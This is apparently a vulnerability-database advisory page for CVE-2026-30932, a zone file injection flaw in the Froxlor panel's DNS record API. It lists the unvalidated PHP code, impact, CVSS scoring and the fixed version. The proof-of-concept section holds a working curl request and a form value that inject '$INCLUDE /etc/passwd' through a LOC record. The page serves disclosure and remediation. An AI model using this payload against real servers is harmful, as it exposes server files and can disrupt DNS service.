Loading...
Skip to main content

CVE-2026-30932

HIGH

Froxlor is vulnerable to BIND zone file injection via unsanitized DNS record content in DomainZones API

Published March 24, 2026Updated July 8, 2026Source: osv

Summary

## Summary The `DomainZones.add` API endpoint (accessible to customers with DNS enabled) does not validate the `content` field for several DNS record types (LOC, RP, SSHFP, TLSA). An attacker can inject newlines and BIND zone file directives (e.g. `$INCLUDE`) into the zone file that gets written to disk when the DNS rebuild cron job runs. ## Affected Code `lib/Froxlor/Api/Commands/DomainZones.php`, lines 213-214, 253-254, 290-291, 292-293: ```php } elseif ($type == 'LOC' && !empty($content)) { $content = $content; // no validation } ... } elseif ($type == 'RP' && !empty($content)) { $content = $content; // no validation } ... } elseif ($type == 'SSHFP' && !empty($content)) { $content = $content; // no validation } elseif ($type == 'TLSA' && !empty($content)) { $content = $content; // no validation } ``` There is even a TODO comment at line 148 acknowledging this gap: ```php // TODO regex validate content for invalid characters ``` The content is then written directly into the BIND zone file via `DnsEntry::__toString()` (line 83 of `lib/Froxlor/Dns/DnsEntry.php`): ```php return $this->record . "\t" . $this->ttl . "\t" . $this->class . "\t" . $this->type . "\t" ... . $_content . PHP_EOL; ``` And the zone file is written to disk in `lib/Froxlor/Cron/Dns/Bind.php` line 121: ```php fwrite($zonefile_handler, $zoneContent . $subzones); ``` ## PoC As a customer with DNS management enabled and an API key, add a LOC record with injected BIND directives: ```bash curl -s -u "API_KEY:API_SECRET" \ -H 'Content-Type: application/json' \ -d '{"command":"DomainZones.add","params":{"domainname":"example.com","type":"LOC","content":"0 0 0 N 0 0 0 E 0\n$INCLUDE /etc/passwd"}}' \ https://panel.example.com/api.php ``` Alternatively via the web UI, intercept the DNS editor form POST and set `dns_content` to `0 0 0 N 0 0 0 E 0\n$INCLUDE /etc/passwd` and `dns_type` to `LOC`. After the DNS rebuild cron runs, the resulting zone file at `{bindconf_directory}/domains/example.com.zone` will contain: ``` @ 18000 IN LOC 0 0 0 N 0 0 0 E 0 $INCLUDE /etc/passwd ``` BIND will process the `$INCLUDE` directive and attempt to parse `/etc/passwd` as zone data. While most lines will fail to parse as valid records, the file content is readable by the BIND process (running as `bind`/`named` user), confirming file existence and potentially leaking parseable lines as DNS records. ## Impact 1. **Information Disclosure**: The `$INCLUDE` directive lets a customer read world-readable files on the server through the DNS subsystem. The zone content (including included files) is visible to the customer via the `DomainZones.get` API call or the DNS editor in the web UI. 2. **DNS Service Disruption**: Malformed zone content can cause BIND to fail to load the zone, causing DNS outage for the affected domain. Injecting `$GENERATE` directives could create massive record sets for amplification attacks. 3. **Zone Data Manipulation**: Arbitrary DNS records can be injected by breaking out of the current record line with newlines, allowing the customer to create records that were not intended.

Remediation

Upgrade to the fixed version using your package manager.

Composer
Update froxlor/froxlor to 2.3.5 or later
composer require "froxlor/froxlor:^2.3.5"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

PackageEcosystemAffectedFixed In
froxlor/froxlor
packagist
0.10.0, 0.10.0-rc1, 0.10.0-rc2, 0.10.1 (+102 more)2.3.5

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-30932?
Froxlor is vulnerable to BIND zone file injection via unsanitized DNS record content in DomainZones API This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
How do I check if my project is affected by CVE-2026-30932?
CVE-2026-30932 affects froxlor/froxlor. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-30932 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.8

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-x6w6-2xwp-3jh6

Related CVEs

  • CVE-2026-26279
    CRITICAL

    Froxlor has Admin-to-Root Privilege Escalation via Input Validation Bypass + OS Command Injection

  • CVE-2023-6069
    CRITICAL

    Froxlor Improper Input Validation vulnerability

  • CVE-2026-62988
    CRITICAL

    Froxlor: Credential and 2FA secret disclosure via Froxlor API endpoints

  • CVE-2023-3173
    CRITICAL

    Froxlor vulnerable to Improper Restriction of Excessive Authentication Attempts

  • CVE-2026-41229
    CRITICAL

    Froxlor has a PHP Code Injection via Unescaped Single Quotes in userdata.inc.php Generation (MysqlServer API)

  • CVE-2026-54347
    HIGH

    Froxlor: Stored XSS in DNS TXT Record Content Allows Customer-to-Admin Account Takeover

  • CVE-2026-41230
    HIGH

    Froxlor has a BIND Zone File Injection via Unsanitized DNS Record Content in DomainZones::add()

  • CVE-2026-41235
    HIGH

    Froxlor has an authorization bypass in FTP shell assignment via missing server-side `available_shells` enforcement

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies